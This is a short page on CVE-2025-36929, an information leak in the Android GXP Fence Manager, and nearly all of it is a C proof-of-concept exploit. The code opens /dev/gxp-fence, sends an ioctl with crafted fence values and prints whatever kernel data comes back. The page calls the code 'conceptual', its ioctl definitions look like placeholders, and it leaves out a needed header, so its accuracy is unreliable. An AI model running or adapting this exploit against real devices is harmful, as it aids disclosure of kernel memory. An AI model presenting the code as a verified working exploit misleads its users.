CVE-2025-36929 Android GXP Fence Manager信息泄露漏洞

// CVE-2025-36929 PoC - Information Leak via GXP Fence Manager // This is a conceptual PoC demonstrating the vulnerability #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> // GXP Fence Manager IOCTL definitions #define GXP_FENCE_IOC_MAGIC 'G' #define GXP_FENCE_ARE_REGISTERED _IOR(GXP_FENCE_IOC_MAGIC, 0x01, struct fence_info) struct fence_info { uint32_t fence_id; uint64_t fence_ptr; uint32_t flags; }; int main(int argc, char *argv[]) { int fd; struct fence_info info; // Open GXP device node fd = open("/dev/gxp-fence", O_RDWR); if (fd < 0) { printf("[-] Failed to open GXP fence device\n"); return -1; } // Trigger information leak via improper input validation // in AreFencesRegistered function info.fence_id = 0xFFFFFFFF; // Invalid/malformed input info.fence_ptr = 0x0; // NULL pointer manipulation info.flags = 0x00; printf("[*] Triggering AreFencesRegistered with crafted input\n"); // This IOCTL call exploits improper input validation if (ioctl(fd, GXP_FENCE_ARE_REGISTERED, &info) == 0) { printf("[+] Fence info leaked: ptr=0x%lx, flags=0x%x\n", info.fence_ptr, info.flags); // Leaked data may contain sensitive kernel memory } close(fd); return 0; }